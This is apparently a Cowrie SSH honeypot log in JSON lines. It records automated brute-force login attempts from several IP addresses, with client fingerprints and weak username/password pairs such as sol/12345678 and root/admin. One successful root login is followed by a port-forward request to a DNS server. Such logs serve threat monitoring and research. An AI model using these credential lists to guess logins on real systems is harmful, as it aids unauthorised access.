{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:16.994278Z","src_ip":"2.57.122.210","session":"9b85e6ef13d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:18.099470Z","src_ip":"2.57.122.210","session":"9b85e6ef13d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59040,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0d497738ba6","protocol":"ssh","message":"New connection: 195.178.110.218:59040 (10.17.0.5:22) [session: e0d497738ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:25.053900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:25.058236Z","src_ip":"195.178.110.218","session":"e0d497738ba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:25.147468Z","src_ip":"195.178.110.218","session":"e0d497738ba6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:25.373656Z","src_ip":"195.178.110.218","session":"e0d497738ba6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":57874,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d74902e1b9c","protocol":"ssh","message":"New connection: 45.148.10.121:57874 (159.203.135.109:22) [session: 5d74902e1b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:26.224103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:26.285729Z","src_ip":"45.148.10.121","session":"5d74902e1b9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:26.362820Z","src_ip":"45.148.10.121","session":"5d74902e1b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:26.453182Z","src_ip":"195.178.110.218","session":"e0d497738ba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:26.458873Z","src_ip":"45.148.10.121","session":"5d74902e1b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42542,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a6dd6af13ef","protocol":"ssh","message":"New connection: 193.32.162.145:42542 (10.17.0.5:22) [session: 8a6dd6af13ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:39.493224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:39.626551Z","src_ip":"193.32.162.145","session":"8a6dd6af13ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:39.630315Z","src_ip":"193.32.162.145","session":"8a6dd6af13ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"solana","message":"login attempt [jito/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:40.044465Z","src_ip":"193.32.162.145","session":"8a6dd6af13ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:41.151974Z","src_ip":"193.32.162.145","session":"8a6dd6af13ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":38697,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bdd1624814d","protocol":"ssh","message":"New connection: 37.77.150.119:38697 (10.17.0.5:22) [session: 3bdd1624814d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:51.976918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:51.980816Z","src_ip":"37.77.150.119","session":"3bdd1624814d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:52.109660Z","src_ip":"37.77.150.119","session":"3bdd1624814d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:52.499086Z","src_ip":"37.77.150.119","session":"3bdd1624814d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:52.630599Z","session":"3bdd1624814d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:52.761309Z","src_ip":"37.77.150.119","session":"3bdd1624814d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:52.893158Z","src_ip":"37.77.150.119","session":"3bdd1624814d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":51948,"dst_ip":"159.203.135.109","dst_port":22,"session":"58ff8bd58178","protocol":"ssh","message":"New connection: 2.57.122.210:51948 (159.203.135.109:22) [session: 58ff8bd58178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:29:28.021874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:29:28.026190Z","src_ip":"2.57.122.210","session":"58ff8bd58178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:29:28.129775Z","src_ip":"2.57.122.210","session":"58ff8bd58178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"fdcl","message":"login attempt [sol/fdcl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:29:28.540696Z","src_ip":"2.57.122.210","session":"58ff8bd58178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:29:29.646098Z","src_ip":"2.57.122.210","session":"58ff8bd58178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":56410,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3eaaf9fc078","protocol":"ssh","message":"New connection: 193.32.162.145:56410 (10.17.0.5:22) [session: c3eaaf9fc078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:29:49.774768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:29:49.926595Z","src_ip":"193.32.162.145","session":"c3eaaf9fc078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:29:49.931521Z","src_ip":"193.32.162.145","session":"c3eaaf9fc078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:29:50.349511Z","src_ip":"193.32.162.145","session":"c3eaaf9fc078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:29:51.476358Z","src_ip":"193.32.162.145","session":"c3eaaf9fc078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":41122,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d21326c406b","protocol":"ssh","message":"New connection: 195.178.110.218:41122 (10.17.0.5:22) [session: 1d21326c406b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:29:53.713756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:29:53.717779Z","src_ip":"195.178.110.218","session":"1d21326c406b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:29:53.797501Z","src_ip":"195.178.110.218","session":"1d21326c406b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:29:54.035797Z","src_ip":"195.178.110.218","session":"1d21326c406b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:29:55.118689Z","src_ip":"195.178.110.218","session":"1d21326c406b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":32543,"dst_ip":"10.17.0.5","dst_port":22,"session":"c65b55a89dd1","protocol":"ssh","message":"New connection: 37.77.150.119:32543 (10.17.0.5:22) [session: c65b55a89dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:30:15.761200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:30:15.765123Z","src_ip":"37.77.150.119","session":"c65b55a89dd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:30:15.902657Z","src_ip":"37.77.150.119","session":"c65b55a89dd1","protocol":"ssh"}
